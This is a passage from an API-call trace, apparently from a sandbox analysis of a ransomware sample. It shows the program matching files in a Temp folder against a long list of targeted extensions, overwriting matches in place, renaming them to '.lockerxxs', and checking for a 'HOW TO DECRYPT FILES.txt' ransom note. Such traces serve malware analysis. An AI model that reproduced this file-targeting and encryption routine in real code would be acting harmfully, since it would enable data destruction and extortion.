HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.odg") returned 0 [0086.436] lstrlenA (lpString="*.odg") returned 5 [0086.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.raw") returned 0 [0086.436] lstrlenA (lpString="*.raw") returned 5 [0086.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.nef") returned 0 [0086.436] lstrlenA (lpString="*.nef") returned 5 [0086.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.svg") returned 0 [0086.436] lstrlenA (lpString="*.svg") returned 5 [0086.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.psd") returned 0 [0086.436] lstrlenA (lpString="*.psd") returned 5 [0086.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.vmx") returned 0 [0086.438] lstrlenA (lpString="*.vmx") returned 5 [0086.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.vmdk") returned 0 [0086.438] lstrlenA (lpString="*.vmdk") returned 6 [0086.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.vdi") returned 0 [0086.438] lstrlenA (lpString="*.vdi") returned 5 [0086.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.lay6") returned 0 [0086.438] lstrlenA (lpString="*.lay6") returned 6 [0086.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.mpeg") returned 0 [0086.438] lstrlenA (lpString="*.mpeg") returned 6 [0086.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.djvu") returned 0 [0086.438] lstrlenA (lpString="*.djvu") returned 6 [0086.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.tiff") returned 0 [0086.438] lstrlenA (lpString="*.tiff") returned 6 [0086.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.backup") returned 0 [0086.438] lstrlenA (lpString="*.backup") returned 8 [0086.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.pdf") returned 0 [0086.438] lstrlenA (lpString="*.pdf") returned 5 [0086.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.cert") returned 0 [0086.438] lstrlenA (lpString="*.cert") returned 6 [0086.438] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.docm") returned 0 [0086.438] lstrlenA (lpString="*.docm") returned 6 [0086.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.xlsm") returned 0 [0086.439] lstrlenA (lpString="*.xlsm") returned 6 [0086.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.dwg") returned 0 [0086.439] lstrlenA (lpString="*.dwg") returned 5 [0086.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.nd") returned 0 [0086.439] lstrlenA (lpString="*.nd") returned 4 [0086.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.tlg") returned 0 [0086.439] lstrlenA (lpString="*.tlg") returned 5 [0086.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.lgb") returned 0 [0086.439] lstrlenA (lpString="*.lgb") returned 5 [0086.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.mov") returned 0 [0086.439] lstrlenA (lpString="*.mov") returned 5 [0086.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.xdw") returned 0 [0086.439] lstrlenA (lpString="*.xdw") returned 5 [0086.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.ods") returned 0 [0086.439] lstrlenA (lpString="*.ods") returned 5 [0086.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.wav") returned 0 [0086.439] lstrlenA (lpString="*.wav") returned 5 [0086.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.mp3") returned 0 [0086.439] lstrlenA (lpString="*.mp3") returned 5 [0086.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.aiff") returned 0 [0086.439] lstrlenA (lpString="*.aiff") returned 6 [0086.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.flac") returned 0 [0086.439] lstrlenA (lpString="*.flac") returned 6 [0086.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.m4a") returned 1 [0086.439] lstrlenA (lpString="*.m4a") returned 5 [0086.440] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a" [0086.440] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a" [0086.440] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a." [0086.440] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a.lockerxxs" [0086.440] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\7raxr9fqmfv25y.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.440] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x35b7 [0086.441] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x243cfc20, dwHighDateTime=0x1d5e282), lpLastAccessTime=0x407536*(dwLowDateTime=0x658280e0, dwHighDateTime=0x1d5e702), lpLastWriteTime=0x40753e*(dwLowDateTime=0x658280e0, dwHighDateTime=0x1d5e702)) returned 1 [0086.441] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.441] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x3591, lpOverlapped=0x0) returned 1 [0086.442] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a") returned="7RAxR9fqmFV25Y.m4a" [0086.442] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.442] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3591, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3591, lpOverlapped=0x0) returned 1 [0086.443] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.443] CloseHandle (hObject=0x90) returned 1 [0086.447] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\7raxr9fqmfv25y.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\7raxr9fqmfv25y.m4a.lockerxxs")) returned 1 [0086.449] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3fbe2430, ftCreationTime.dwHighDateTime=0x1d5e785, ftLastAccessTime.dwLowDateTime=0x2f0ade50, ftLastAccessTime.dwHighDateTime=0x1d5db6c, ftLastWriteTime.dwLowDateTime=0x2f0ade50, ftLastWriteTime.dwHighDateTime=0x1d5db6c, nFileSizeHigh=0x0, nFileSizeLow=0x6d4b, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="83MJf1AMvZXh9glJh.wav", cAlternateFileName="83MJF1~1.WAV")) returned 1 [0086.449] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.449] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="83MJf1AMvZXh9glJh.wav") returned 1 [0086.449] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="83MJf1AMvZXh9glJh.wav") returned 1 [0086.449] lstrcmpiA (lpString1="", lpString2="83MJf1AMvZXh9glJh.wav") returned -1 [0086.449] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a") returned="7RAxR9fqmFV25Y.m4a" [0086.449] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.449] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.449] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.449] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.449] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="83MJf1AMvZXh9glJh.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav" [0086.449] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.ems") returned 0 [0086.450] lstrlenA (lpString="*.ems") returned 5 [0086.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.db") returned 0 [0086.450] lstrlenA (lpString="*.db") returned 4 [0086.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.dbf") returned 0 [0086.450] lstrlenA (lpString="*.dbf") returned 5 [0086.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.myox") returned 0 [0086.450] lstrlenA (lpString="*.myox") returned 6 [0086.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.myo") returned 0 [0086.450] lstrlenA (lpString="*.myo") returned 5 [0086.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.qbw") returned 0 [0086.450] lstrlenA (lpString="*.qbw") returned 5 [0086.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.qbb") returned 0 [0086.450] lstrlenA (lpString="*.qbb") returned 5 [0086.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.qbm") returned 0 [0086.450] lstrlenA (lpString="*.qbm") returned 5 [0086.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.qbo") returned 0 [0086.450] lstrlenA (lpString="*.qbo") returned 5 [0086.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.qbx") returned 0 [0086.450] lstrlenA (lpString="*.qbx") returned 5 [0086.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.qba") returned 0 [0086.450] lstrlenA (lpString="*.qba") returned 5 [0086.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.qby") returned 0 [0086.450] lstrlenA (lpString="*.qby") returned 5 [0086.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.qbj") returned 0 [0086.450] lstrlenA (lpString="*.qbj") returned 5 [0086.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.ofx") returned 0 [0086.450] lstrlenA (lpString="*.ofx") returned 5 [0086.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.qif") returned 0 [0086.451] lstrlenA (lpString="*.qif") returned 5 [0086.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.mye") returned 0 [0086.451] lstrlenA (lpString="*.mye") returned 5 [0086.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.mbox") returned 0 [0086.451] lstrlenA (lpString="*.mbox") returned 6 [0086.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.eml") returned 0 [0086.451] lstrlenA (lpString="*.eml") returned 5 [0086.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.pst") returned 0 [0086.451] lstrlenA (lpString="*.pst") returned 5 [0086.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.ost") returned 0 [0086.451] lstrlenA (lpString="*.ost") returned 5 [0086.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.idx") returned 0 [0086.451] lstrlenA (lpString="*.idx") returned 5 [0086.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.dbx") returned 0 [0086.451] lstrlenA (lpString="*.dbx") returned 5 [0086.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.sql") returned 0 [0086.451] lstrlenA (lpString="*.sql") returned 5 [0086.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.mdb") returned 0 [0086.451] lstrlenA (lpString="*.mdb") returned 5 [0086.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.fdb") returned 0 [0086.451] lstrlenA (lpString="*.fdb") returned 5 [0086.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.wab") returned 0 [0086.451] lstrlenA (lpString="*.wab") returned 5 [0086.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.dat") returned 0 [0086.451] lstrlenA (lpString="*.dat") returned 5 [0086.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.txt") returned 0 [0086.452] lstrlenA (lpString="*.txt") returned 5 [0086.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.jpeg") returned 0 [0086.452] lstrlenA (lpString="*.jpeg") returned 6 [0086.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.jpg") returned 0 [0086.452] lstrlenA (lpString="*.jpg") returned 5 [0086.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.png") returned 0 [0086.452] lstrlenA (lpString="*.png") returned 5 [0086.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.php") returned 0 [0086.452] lstrlenA (lpString="*.php") returned 5 [0086.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.cs") returned 0 [0086.452] lstrlenA (lpString="*.cs") returned 4 [0086.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.cpp") returned 0 [0086.452] lstrlenA (lpString="*.cpp") returned 5 [0086.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.rar") returned 0 [0086.452] lstrlenA (lpString="*.rar") returned 5 [0086.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.zip") returned 0 [0086.452] lstrlenA (lpString="*.zip") returned 5 [0086.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.html") returned 0 [0086.453] lstrlenA (lpString="*.html") returned 6 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.htm") returned 0 [0086.453] lstrlenA (lpString="*.htm") returned 5 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.xlsx") returned 0 [0086.453] lstrlenA (lpString="*.xlsx") returned 6 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.xls") returned 0 [0086.453] lstrlenA (lpString="*.xls") returned 5 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.mp4") returned 0 [0086.453] lstrlenA (lpString="*.mp4") returned 5 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.ppt") returned 0 [0086.453] lstrlenA (lpString="*.ppt") returned 5 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.pptx") returned 0 [0086.453] lstrlenA (lpString="*.pptx") returned 6 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.doc") returned 0 [0086.453] lstrlenA (lpString="*.doc") returned 5 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.dot") returned 0 [0086.453] lstrlenA (lpString="*.dot") returned 5 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.docx") returned 0 [0086.453] lstrlenA (lpString="*.docx") returned 6 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.7z") returned 0 [0086.453] lstrlenA (lpString="*.7z") returned 4 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.tar") returned 0 [0086.453] lstrlenA (lpString="*.tar") returned 5 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.bz2") returned 0 [0086.453] lstrlenA (lpString="*.bz2") returned 5 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.gz") returned 0 [0086.453] lstrlenA (lpString="*.gz") returned 4 [0086.453] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.mkv") returned 0 [0086.454] lstrlenA (lpString="*.mkv") returned 5 [0086.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.eml") returned 0 [0086.454] lstrlenA (lpString="*.eml") returned 5 [0086.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.msg") returned 0 [0086.454] lstrlenA (lpString="*.msg") returned 5 [0086.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.edb") returned 0 [0086.454] lstrlenA (lpString="*.edb") returned 5 [0086.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.accdb") returned 0 [0086.454] lstrlenA (lpString="*.accdb") returned 7 [0086.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.odb") returned 0 [0086.454] lstrlenA (lpString="*.odb") returned 5 [0086.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.java") returned 0 [0086.454] lstrlenA (lpString="*.java") returned 6 [0086.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.asm") returned 0 [0086.454] lstrlenA (lpString="*.asm") returned 5 [0086.454] PathMatchSpecA 